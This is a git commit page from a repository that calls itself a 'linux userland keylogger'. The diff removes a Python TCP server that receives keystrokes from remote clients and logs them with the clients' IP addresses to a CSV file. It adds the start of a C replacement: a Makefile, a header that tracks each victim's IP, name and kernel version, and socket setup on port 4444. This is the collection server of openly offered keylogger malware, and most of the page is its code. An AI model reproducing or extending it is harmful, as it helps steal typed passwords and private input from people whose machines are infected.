mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit c2f2ec347205cd775a091d5f3c39d27d935e220c
parent 374cd45abf6791f68bf66e114b62760feb79dfc9
Author: winds0r <[email protected]>
Date: Wed, 18 Oct 2023 21:38:27 +0200

feat(server): setting up net module & C codebase in order to better interface with custom protocol, it would make it easier if both were written in C. also, C servers are fun to write :)

Diffstat:
Aserver/Makefile | 75+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Dserver/TCP_handler.py | 67-------------------------------------------------------------------
Aserver/compile_flags.txt | 1+
Aserver/includes/server.h | 71+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Dserver/requirements.txt | 3---
Aserver/sources/net.c | 75+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

6 files changed, 222 insertions(+), 70 deletions(-)

diff --git a/server/Makefile b/server/Makefile
@@ -0,0 +1,75 @@
+########################
+#### VARIABLES #########
+########################
+
+NAME		 	= server
+CC			 	= clang
+RM			 	= rm -rf
+
+INCLUDES 	 	= -I./includes/
+LINK_FLAG    	= -lxkbcommon
+
+
+CFLAGS 			= -Wno-unused-command-line-argument -fPIC
+
+ifeq ($(MAKECMDGOALS), debug)
+	CFLAGS 			+= -g3 -DDEBUG -Wno-format-security
+else
+	CFLAGS 		 	+= -Wall -Wextra -O3 -Weverything -Wpedantic -Wl,-s
+	CFLAGS 			+= -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-declaration-after-statement
+endif
+
+
+PATTERN 	 	= .c
+OBJPATTERN  	= .o
+SRC_DIR 		= ./sources
+OBJECT_DIR 		= ./objects
+
+vpath %$(PATTERN) $(SRC_DIR)
+
+MAIN		 	= main.c
+SRC 		 	= net.c
+
+########################
+#### COMPILATION #######
+########################
+
+COMBINED		= $(SRC) $(MAIN)
+OBJ 	 		= $(patsubst %$(PATTERN), $(OBJECT_DIR)/%$(OBJPATTERN), $(COMBINED))
+
+
+.PHONY: all
+all: directories $(NAME) ## generate PROD binary (you might have to run make fclean before)
+
+
+.PHONY: debug
+debug: directories $(NAME) ## generate DEBUG binary (you might have to run make fclean before)
+	@echo "[ ** DEBUG BINARY COMPILED WITH $(CFLAGS) **]"
+
+
+$(OBJECT_DIR):
+	@mkdir -pv $@
+
+directories: | $(OBJECT_DIR)
+
+$(OBJECT_DIR)/%$(OBJPATTERN) : %$(PATTERN)
+	@$(CC) -o $@ -c $< $(CFLAGS) $(INCLUDES) $(LINK_FLAG)
+	@echo "Compiling $@"
+
+$(NAME): $(OBJ)
+	@$(CC) -o $(NAME) $^ $(CFLAGS) $(INCLUDES) $(LINK_FLAG)
+	@echo "[*** COMPILATION  SUCCESSFUL ***]"
+
+.PHONY: clean
+clean:  ## removes object files
+	@$(RM) objects
+
+.PHONY: fclean
+fclean: clean  ## removes all compilation artifacts
+	@$(RM) $(NAME)
+	@echo "[*** CLEAN ***]"
+
+.PHONY: re  ## cleans everything and rebuild PROD binary
+re: fclean all
+
+
diff --git a/server/TCP_handler.py b/server/TCP_handler.py
@@ -1,67 +0,0 @@
-#!/usr/bin/env python3
-
-from socketserver import *
-from threading import Thread
-from datetime import datetime
-
-import pandas as pd
-
-
-def log_csv(ip_cli, ipt):
-    if not ip_cli:
-        return
-    df = pd.DataFrame({ip_cli: [ipt]})
-    try:
-        old_df = pd.read_csv("keylogs.csv").fillna(0)
-        df = pd.concat([df, old_df]).fillna(0)
-    except FileNotFoundError:
-        open("keylogs.csv", "w+").close()
-    finally:
-        df.to_csv("keylogs.csv")
-
-
-class TCPHandler(BaseRequestHandler):
-
-    def handle(self):
-        Red='\033[31m'          # Red
-        Green='\033[32m'        # Green
-        Cyan='\033[36m'         # Cyan
-        NC="\033[m"               # Color Reset
-
-        client = self.request.getpeername()
-        ip_cli = f'{client[0]}:{client[1]}'
-        log_csv(ip_cli, "200 NEW CONNEXION")
-        while True:
-            try:
-                data = self.request.recv(1024)
-            except (ConnectionResetError, BrokenPipeError):
-                print(f'{ip_cli}: disconnected. Bye!')
-                log_csv(ip_cli, '500 KO')
-                return
-            if not data:
-                continue
-            #  Decode data here, before writing it into csv.
-            cur_time = datetime.now().strftime("%d/%m/%Y %H:%M:%S")
-            print(f'{Green}[+] {Red}{cur_time}{NC}: Received new keystrokes from {Red}{ip_cli}{NC}:{Cyan} {data}{NC}')
-            log_csv(ip_cli, f'{data}\n{cur_time}')
-
-
-class Server(ThreadingMixIn, TCPServer):
-    daemon_threads = True
-    allow_reuse_address = True
-    poll_interval = 0.5
-
-
-if __name__ == '__main__':
-    HOST = ''
-    PORT = 5555
-
-    with Server((HOST, PORT), TCPHandler) as server:
-        ip, port = server.server_address
-        server_thread = Thread(target=server.serve_forever)
-        server_thread.start()
-
-        try:
-            server.serve_forever()
-        except KeyboardInterrupt:
-            server.shutdown()
diff --git a/server/compile_flags.txt b/server/compile_flags.txt
@@ -0,0 +1 @@
+-Iincludes
diff --git a/server/includes/server.h b/server/includes/server.h
@@ -0,0 +1,71 @@
+#ifndef SERVER_H
+#define SERVER_H
+
+#include <stddef.h>
+#include <sys/queue.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define QUEUE_BUFFER_SIZE 1024
+#define STRING_BUFFER_SIZE 256
+#define SERVER_PORT 4444
+
+/* meant for key translations from xkbcommon and the event we receive. :^) */
+typedef struct translated_key {
+  char const *description;
+  char const representation;
+} translated_key_t;
+
+/*
+    this will be meant to hold a single client information, along with
+    all the information it has passed along to our server.
+*/
+typedef struct client_state client_t;
+struct client_state {
+  int sockfd;
+
+  char current_buffer[STRING_BUFFER_SIZE];
+  ssize_t nb_bytes_in_buffer;
+
+  /* client metadata */
+  char name[STRING_BUFFER_SIZE];
+  char ipaddr[STRING_BUFFER_SIZE];
+  char linux_version[STRING_BUFFER_SIZE];
+
+  TAILQ_ENTRY(client_state) clients;
+};
+
+/* main server object */
+typedef struct server_state {
+
+  /*
+      TODO:
+      configure logger, encryption management & database connection here
+  */
+
+  /* current clients */
+  TAILQ_HEAD(listhead, client_state) clients;
+} server_t;
+
+#define SUCCESSFUL 1
+#define ERROR 0
+
+#include <stdio.h> /* necessary for the snprintf in the macro */
+#include <syslog.h>
+
+#ifndef DEBUG_LOG
+#define DEBUG_LOG(s, ...)                                                      \
+  do {                                                                         \
+    char data[256] = {0};                                                      \
+    if (0 > snprintf(data, 255, s, ##__VA_ARGS__))                             \
+      _exit(1);                                                                \
+    syslog(LOG_NOTICE, data);                                                  \
+  } while (0)
+#endif
+
+#define KEY_PRESSED 1
+#define KEY_RELEASED 0
+
+// net.c
+
+#endif /* SERVER_H */
diff --git a/server/requirements.txt b/server/requirements.txt
@@ -1,3 +0,0 @@
-sockets==1.0.0
-asciimatics==1.13.0
-pandas==1.2.1
diff --git a/server/sources/net.c b/server/sources/net.c
@@ -0,0 +1,75 @@
+/*
+    this code handles the main server loop
+
+
+*/
+
+#include <arpa/inet.h>
+#include <errno.h>
+#include <netinet/in.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/socket.h>
+
+#include "server.h"
+
+int init_remote_connection(server_t *instance) {
+
+#ifdef DEBUG
+  DEBUG_LOG("Initiating remote connection with (localhost:%d)", SERVER_PORT);
+#endif
+
+  /*
+     creating initial socket...
+
+     AF_INET          -> remote connection    (for local, use AF_UNIX)
+     SOCK_STREAM      -> TCP connection       (for UDP, use SOCK_DGRAM)
+     IPPROTO_TCP      -> Specify protocol     (for UDP, use IPPROTO_UDP)
+
+  */
+  int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+  if (sockfd < 0) {
+
+#ifdef DEBUG
+    perror("socket");
+#endif
+
+    close(sockfd);
+    return -1;
+  }
+
+  /* items required to bind socket to remote address */
+  int is_enabled = 1;
+  struct sockaddr_in addr = {.sin_family = AF_INET,
+                             .sin_port = htons(SERVER_PORT),
+                             .sin_addr.s_addr = inet_addr("0.0.0.0")};
+
+  /* setting socket options to make connection more convenient */
+  if (setsockopt(sockfd, SOL_SOCKET,
+                 SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT
+                                                 (useful for testing) */
+                 &is_enabled, sizeof(int)) < 0) {
+
+#ifdef DEBUG
+    DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
+#endif
+
+    close(sockfd);
+    return -1;
+  }
+
+  if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
+
+#ifdef DEBUG
+    DEBUG_LOG("connect: %s", strerror(errno));
+#endif
+
+    close(sockfd);
+    return -1;
+  }
+
+  // TODO: do listen() here ?
+
+  return sockfd;
+}